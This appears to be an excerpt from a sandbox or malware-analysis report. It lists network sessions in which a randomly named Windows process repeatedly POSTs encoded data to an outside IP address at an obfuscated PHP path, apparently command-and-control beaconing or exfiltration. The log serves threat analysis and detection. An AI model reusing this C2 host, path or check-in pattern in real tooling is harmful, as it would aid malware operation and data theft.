Jan 9, 2025 04:13:39.481864929 CET	1048	OUT	Data Raw: 5a 53 59 5a 5a 5f 5d 5b 55 56 55 5a 56 51 55 55 56 57 5a 53 55 50 53 57 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZSYZZ_][UVUZVQUUVWZSUPSWT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&]0)/Z4=^3".(/[7%?9]&(03$?3$/? \%#Y)
Jan 9, 2025 04:13:39.835094929 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	50116	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:39.925389051 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1764 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:40.278702974 CET	1764	OUT	Data Raw: 5a 56 5c 5c 5a 5e 5d 5c 55 56 55 5a 56 5e 55 57 56 51 5a 52 55 56 53 57 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZV\\Z^]\UVUZV^UWVQZRUVSWT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&Z3_0#"01&+/Y#6'X=(9&9(3?^&?_>7< \%#Y)<
Jan 9, 2025 04:13:40.621658087 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:40.755670071 CET	380	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:40 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 0c 1a 23 10 36 00 3a 5c 29 21 23 5e 28 05 37 51 2b 57 2c 11 2b 30 36 05 3e 04 26 5a 2b 2e 3f 1e 3f 3b 3e 18 27 22 3a 56 37 3d 31 04 35 1a 2e 59 0c 1d 39 5e 3f 2b 26 50 25 23 01 59 29 0a 26 5b 23 31 30 05 24 58 2d 0b 24 06 1d 0d 3f 31 37 0e 2b 21 01 51 2d 16 29 0b 27 20 2d 0f 25 3e 21 5e 02 14 23 58 3e 13 38 0e 29 19 34 01 31 0c 03 0f 37 2e 32 50 36 28 28 08 22 06 21 04 3d 1f 2e 58 34 57 34 5b 30 33 35 07 34 08 3d 54 2a 23 2f 5c 2b 03 2b 49 01 31 55 56 Data Ascii: #6:\)!#^(7Q+W,+06>&Z+.??;>'":V7=15.Y9^?+&P%#Y)&[#10$X-$?17+!Q-)' -%>!^#X>8)417.2P6(("!=.X4W4[0354=T*#/\++I1UV

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	50117	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:40.044282913 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:40.403623104 CET	1048	OUT	Data Raw: 5a 51 59 5f 5f 55 5d 5b 55 56 55 5a 56 51 55 5d 56 55 5a 5b 55 51 53 5d 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZQY__U][UVUZVQU]VUZ[UQS]T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&39/#'"[((# )+"%9R+?Z%?(Y>8<? \%#Y)
Jan 9, 2025 04:13:40.730886936 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:40.859637022 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	50118	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:40.984122038 CET	405	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue
Jan 9, 2025 04:13:41.341156960 CET	1048	OUT	Data Raw: 5a 50 5c 5e 5f 5e 58 5d 55 56 55 5a 56 5a 55 50 56 52 5a 5d 55 50 53 58 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZP\^_^X]UVUZVZUPVRZ]UPSXT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&^':04!^01=?>'\"%/>8![&*.<U31,<X='+ \%#Y),
Jan 9, 2025 04:13:41.709714890 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:41.843336105 CET	151	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	50119	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:41.974113941 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:42.325570107 CET	1048	OUT	Data Raw: 5a 54 59 5b 5f 5e 5d 5d 55 56 55 5a 56 5b 55 54 56 56 5a 5b 55 5c 53 5d 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZTY[_^]]UVUZV[UTVVZ[U\S]T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&$)'#;%^'!:?=,#+>;5&*2+ ;%3>'( \%#Y)(
Jan 9, 2025 04:13:42.675797939 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:42.809690952 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	50120	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:42.940107107 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:43.296113968 CET	1048	OUT	Data Raw: 5a 57 59 5f 5a 5c 5d 59 55 56 55 5a 56 5d 55 57 56 54 5a 59 55 5c 53 5c 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZWY_Z\]YUVUZV]UWVTZYU\S\T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%%)'X ^$">)."%3(8%1::+?Y$?\=8[*? \%#Y)0
Jan 9, 2025 04:13:43.629247904 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:43.763576984 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	50121	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:43.898474932 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:44.247440100 CET	1048	OUT	Data Raw: 5a 55 59 59 5f 59 5d 59 55 56 55 5a 56 5c 55 5d 56 56 5a 53 55 57 53 5f 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZUYY_Y]YUVUZV\U]VVZSUWS_T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%$9?X =Z&22).04=;Z%:1<00%??>'(? \%#Y)4
Jan 9, 2025 04:13:44.589366913 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:44.721170902 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	50122	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:44.846530914 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:45.200556993 CET	1048	OUT	Data Raw: 5f 57 5c 5a 5a 59 58 5e 55 56 55 5a 56 5f 55 52 56 50 5a 59 55 55 53 57 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _W\ZZYX^UVUZV_URVPZYUUSWT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&''Y4]!_'%?X#\4<==Y'!0$%?,> ^?? \%#Y)
Jan 9, 2025 04:13:45.576112032 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:45.705544949 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	50123	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:45.769002914 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1764 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	50124	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:45.857942104 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:46.216180086 CET	1048	OUT	Data Raw: 5a 52 5c 5d 5f 5f 58 5e 55 56 55 5a 56 51 55 54 56 5c 5a 59 55 55 53 5f 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZR\]__X^UVUZVQUTV\ZYUUS_T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&]%7\4$!<>4#&$);%%:. '^$,8>7 X( \%#Y)
Jan 9, 2025 04:13:46.557121992 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:46.687388897 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	50125	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:46.816157103 CET	405	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue
Jan 9, 2025 04:13:47.172126055 CET	1048	OUT	Data Raw: 5f 57 5c 5b 5f 55 5d 5b 55 56 55 5a 56 5e 55 5c 56 50 5a 5f 55 50 53 5d 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _W\[_U][UVUZV^U\VPZ_UPS]T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&_33 ]%['"[<.7X#*85X11<3%?(?$,+? \%#Y)<
Jan 9, 2025 04:13:47.500705957 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:47.631369114 CET	151	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	50126	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:48.188178062 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:48.544404984 CET	1048	OUT	Data Raw: 5f 50 59 50 5f 5a 58 5e 55 56 55 5a 56 5b 55 52 56 51 5a 5e 55 50 53 5b 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: _PYP_ZX^UVUZV[URVQZ^UPS[T[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&'_, 'T!(.3]4>)')=P(#/Z$/0=Q,Y*? \%#Y)(
Jan 9, 2025 04:13:48.880511045 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:49.009042025 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	50127	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:49.141875982 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:49.497452974 CET	1048	OUT	Data Raw: 5a 51 59 5d 5f 58 58 58 55 56 55 5a 56 5f 55 5c 56 53 5a 5c 55 5c 53 57 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZQY]_XXXUVUZV_U\VSZ\U\SWT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&3#]789_$)(X3]#5 (;>%:-<081/(\>0^?? \%#Y)
Jan 9, 2025 04:13:49.879704952 CET	25	IN	HTTP/1.1 100 Continue
Jan 9, 2025 04:13:50.010282040 CET	207	IN	HTTP/1.1 200 OK Date: Thu, 09 Jan 2025 03:13:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3e 52 5a 55 Data Ascii: >RZU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	50128	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:50.143441916 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1048 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:50.497848988 CET	1048	OUT	Data Raw: 5a 5b 59 5c 5f 55 58 5c 55 56 55 5a 56 5e 55 54 56 53 5a 53 55 5c 53 56 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: Z[Y\_UX\UVUZV^UTVSZSU\SVT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW%$_7"(:'))= 7%<(5Y2:&3?[2 ]*#< \%#Y)<
Jan 9, 2025 04:13:50.844892025 CET	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	50129	62.109.16.145	80	7920	C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 04:13:50.930265903 CET	429	OUT	POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 62.109.16.145 Content-Length: 1764 Expect: 100-continue Connection: Keep-Alive
Jan 9, 2025 04:13:51.278847933 CET	1764	OUT	Data Raw: 5a 57 59 59 5f 58 58 5f 55 56 55 5a 56 59 55 51 56 53 5a 5b 55 56 53 56 54 5b 58 59 52 58 5d 50 42 5a 54 5b 5f 57 50 5c 5e 5f 55 5d 5a 52 51 5d 5a 51 43 5a 46 5e 58 5a 5e 56 50 58 54 52 58 5c 5a 54 59 5f 5a 5f 55 57 5f 5d 42 51 47 57 47 56 52 54 Data Ascii: ZWYY_XX_UVUZVYUQVSZ[UVSVT[XYRX]PBZT[_WP\^_U]ZRQ]ZQCZF^XZ^VPXTRX\ZTY_Z_UW_]BQGWGVRTPQV]^D_R]PXZ[ZT\\ZT\]STU]_^TXT^^UV_UXT__X]WS\Q^P^^_S_HXP[SWBP_TYRBQ]VSGX^_Y\\PBQY\[_ZT_^SXZ^Y_]PTQ[]ZW&]%9'#;$12Z+X#\ 53&'9&(0#X%8_)8_*? \%#Y)
Jan 9, 2025 04:13:51.577234983 CET	25	IN	HTTP/1.1 100 Continue
